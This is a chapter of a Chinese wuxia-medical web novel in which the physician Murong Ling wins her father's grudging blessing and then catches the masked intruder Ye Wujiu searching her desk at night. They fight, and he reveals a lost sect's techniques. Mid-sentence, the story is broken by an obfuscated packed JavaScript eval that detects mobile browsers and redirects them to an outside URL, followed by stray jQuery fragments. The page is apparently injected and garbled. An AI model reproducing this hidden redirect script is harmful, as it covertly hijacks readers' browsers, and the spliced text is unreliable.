3. 金针一赌绽锋芒(下)

作品:《青囊战医

    慕容翎脸上血色尽褪,眼底悲凉,神情反而愈加坚定。


    她抬起常年握针的手,指尖薄茧在阳光下莹润如琥珀。


    “父亲,你看看这双手。它曾与阎王夺命,为幼妹遮风,撑全谷未来,而现在——它成了废物!”


    她缓缓跪下行了一个大礼,额头触地。


    “父亲,女儿不孝。明知危险,仍要卷入。但女儿注定是风暴,是惊雷,是为医道而生的灵魂。我已患恐血,按理不能从医。三年来,我悉心培药、练蒙眼施针,只凭一口气,谁人知了不会笑一句痴人说梦?”


    “可这一口气,不是我的脾气,是维持我不散架的最后一道龙骨。如果连这个都抽掉,我就真的什么都没有了。”


    “查出真相,战胜心魔,重拾医道……契机已至,我知道这机会或许渺茫,我知道自己是在赌。可我——我愿压上自己的一切,站上命运的赌桌,赌一个逆转,赌我能靠自己的实力和努力,绝境翻盘!”


    “女儿不愿一生苟安。若因心底恐惧便龟缩退避,女儿……虽生犹死。女儿不求您的支持,只求您……至少不要站在我的对面。”


    “倘若……您愿与女儿同行。输了,女儿虽死无憾。赢了,女儿定还你一个桃源谷千年一现的绝世医者!”


    慕容翎侧身,紧握的双拳微微颤抖,再不发一言。


    慕容无暇凝视她许久,袖摆轻振,一块令牌飞向慕容翎。


    慕容翎下意识接住,手指摩挲那令牌表面,摸出了凹凸不平的几个字


    ——正面是“桃源”,书写柔韧邪性;背面是“无暇”,字迹刚直拗气。


    慕容无暇冷冷道:“你院里那位病人,不是寻常药物可治。你的医牌重挂还需时间,拿我的谷主令去取药。”


    慕容翎鼻子微酸,点头,转身。


    身后,一道声音传来,冷肃威严,却较平日缓了半分。


    “既决定重新行医,就莫弱了我桃源谷的名头。”


    她立住,默了片刻,只是将手心的令牌抓得更紧。


    那“桃源”和“无暇”深深嵌入她的掌心,渐渐被捂出了暖意,却依旧锋利得棱角分明。


    她推开门,大踏步的走了出去。


    *


    玉隐院的灯已熄了半个时辰,药田的花草在微凉夜风中摇晃,挠得人心里发痒。


    叶无咎无声无息潜入主屋。黑暗一拥而上,他瞬间浑身肌肉崩紧,屏吸闭眼,将内力凝聚在耳边,凝神细听。


    很安静,只有慕容翎轻微、绵长的呼吸声。


    他垂手,蓄势待发的璇玑掌缓缓消散。


    几秒后,他睁开眼。家具模糊的轮廓隐隐浮现。一番搜寻,除了满室医书、针具、模型,他一无所获。


    ——这女人除了医术,没有任何爱好了吗?


    叶无咎眉头紧皱,目光忽然凝在被大喇喇摆在显眼处的书桌。眸光一暗,他走向那个最不可能藏东西的地方。


    墨香混杂着黄花梨木幽幽的降香,恍惚间,他似乎看见医女脊背笔直,坐在桌后为病患把脉、凝眉伏案书写的样子。


    叶无咎坐到黄花梨木的椅子上——这椅子毫无疑问足够名贵,却并不舒服。触感坚硬,仿佛要叫坐在这个位子上的人片刻不能放松,像极了她永远温和,却从来不笑的模样。


    他不明白自己为何会突然想起她白日里的样子,仿佛这画面早已藏于记忆深处。


    皱了皱眉,他看向书桌下的那排抽屉。


    内力一改受伤后的颓靡,活跃得几乎要奔涌而出,抽屉里有什么在对他散发着吸引。


    温暖、熟悉、难以抵抗。


    他有种强烈的直觉——他要找的东西,就在这里!


    他是如此的专注,以至于丝毫也未察觉周遭异状。


    不知何时,慕容翎已远远站在叶无咎身后。她一身白色中衣,显然从睡梦中醒来。蒙着白布的眼对着叶无咎,一动不动。


    ——眼前这人,从初见起,一直对她疑心试探,似怀微妙敌意。


    原以为他找春风院是为求医,如今看来,却不止于此。如果可以,她想观察他到底在找什么。


    等等,那是——


    叶无咎死死盯着正中央第一格抽屉,瞳孔甚至有些颤抖。终于,他伸出手将其缓缓拉开。目光从一摞册子上滑过,被旁边的金丝楠木木盒紧紧咬住,他当下就要去拿那个木盒。


    白芷的气息钻入鼻尖,混杂着麝香和分辨不清的药味。


    ——糟了!


    叶无咎闪电般抽回手。几乎同时,一只手从斜刺里横出来。


    “啪”的一声,抽屉被合上。


    叶无咎的手险险抽出,差点被夹住手指。


    面具下的脸露出一丝苦笑——他脊后的大椎穴,已被锐物抵住。


    “深夜入室行窃者,当上报后逐出桃源谷。”身后的声音沉静稳定,丝毫不见初醒的倦怠。


    叶无咎眸光一暗,语气却轻佻:“你报是不报?”


    风止,一片静默,只能听见窗外蝉鸣声。


    椎后那锐物又被向前送了半分,划破他的衣料。肌肤顿感一点冰冷,凉彻心脾。再一寸,即可让他无法反抗。


    他们离得很近,近到叶无咎能听见她衣角的窸窣,感受到她温热的呼吸,一点点喷洒在他的颈侧,带来阵阵麻痒。


    叶无咎不受控制的喉结滚动,指尖几不可察的一颤。


    “你所求何物,目的为何?”她声音渐冷。


    叶无咎沉默片刻,眼神微暗,身体重心隐隐压低,内力不着痕迹的凝聚在左腿。“我是来找……”


    说到这里,他忽然一个朝天蹬,左腿踢向慕容翎面门,慕容翎匆忙连退几步,撤手格挡。两人电光火石间过了十几招,在屋内一步一闪,连换了十数个方位。


    叶无咎胸前任脉处隐隐作痛,仿佛被一颗核桃堵住。他的内伤愈发严重,此时那一点疼痛已扩散至全胸。


    面具下的额头被冷汗浸透,他脚步微退,眼神扫向窗户,可喉头涌上的血腥气,却迫使他猛然停顿。


    慕容翎没有乘势追击。


    那范围内形如瞬移的步法,借力打力、意态飘逸的掌法……


    慕容翎鼻腔一阵酸涩,恍惚间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907955|192402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仿佛又看见了那个死去的少年。她声音微微颤抖,几乎要握不住指尖的针:“你……你怎么会璇玑门的功法?”


    “璇玑门?”叶无咎一怔,回想起这三年来,他被养父命令着反复搜查、寻找的那片废墟。


    那是璇玑门?


    他这是璇玑门的功夫?为什么?


    胸口痛得越发厉害,叶无咎眼神一变,低低轻笑,不着痕迹的向窗子靠近半步:“你又是谁,步法与我同出一脉?”


    慕容翎如遭雷击,脑海中,白衣少年早已模糊的面容,在这一刻无比清晰。


    她眼眶发红,十指不自觉的蜷缩。


    黑暗的诊堂内,叶无咎看不清她的表情,只听见她猛然变得凌乱而急促的呼吸。


    ——好机会!


    他来不及细想,强行压住喉头那一点血腥。满腔疑问和内伤的剧痛,化作意味不明的轻笑,他如夜鹰般拔地而起,破窗而去。


    云雾散,只余朗朗月辉,洒落黄花梨木桌面,莹莹如水。


    慕容翎就站在那水光旁,动也不动。


    *


    次日。


    青铜铃响,打破了清晨寂静。


    慕容翎开了门,窸窸窣窣的脚步声后,来人进入院子。


    “慕容大夫,我们又见面了。”叶无咎神态放松自然,仿佛昨晚根本不曾夜探,更不曾与她交手。


    慕容翎默了默,并不理会,转身回房,在黄花梨木桌前坐下,就着烛光,翻阅医书。


    叶无咎似笑非笑看了她一眼,斜倚在她对面坐下。也不催促,只懒懒靠着。


    半个时辰后,慕容翎放下书卷:“我竟不知自己这玉隐院,对叶公子如此有吸引力,一日之间,造访三次。”


    “山不在高,有仙则名。慕容大夫才貌双全,我趋之若鹜也是应当的。”


    “叶公子如此视死如归,倒令我钦佩。阎王的刀已悬顶,尚有余暇玩笑。恕我直言,身子到了这般田地,天下除我父女外,无人能治。叶公子,命只有一条。”


    叶无咎静默一瞬,眼底晦暗:“慕容大夫想要什么?”


    慕容翎慢条斯理起身,将书放回书柜:“桃源谷千年隐世,流传在外的‘回春令’不足二十枚,叶公子这枚从何而来?璇玑门功法何处习得?半夜造访,所求何物?”


    她转过身,语气渐沉:“你我素不相识,你对我的试探和敌意……”


    叶无咎下意识握了握扶手,眼中却漾出几分懒懒的神色:“慕容大夫此言差矣。‘回春令’从来都在我身上,功法也一直会。”


    “至于来历……”他指尖轻点太阳穴,语气轻佻而无奈。“可惜,这里空空如也——忘了。”


    慕容翎垂首,蒙眼的白布正对着他。烛火摇晃,将她身影投于墙壁,大片阴影向叶无咎迎面压来,仿佛要将他吞噬。


    “叶公子不愿说,也无碍。你既手持‘回春令’——春风院的凭证,医者仁心,我自不会见死不救。”慕容翎缓缓道。“但有一事,望叶公子应允。”


    叶无咎凝视她,语气低沉,灵犀引悄然运行:“慕容大夫威胁我?”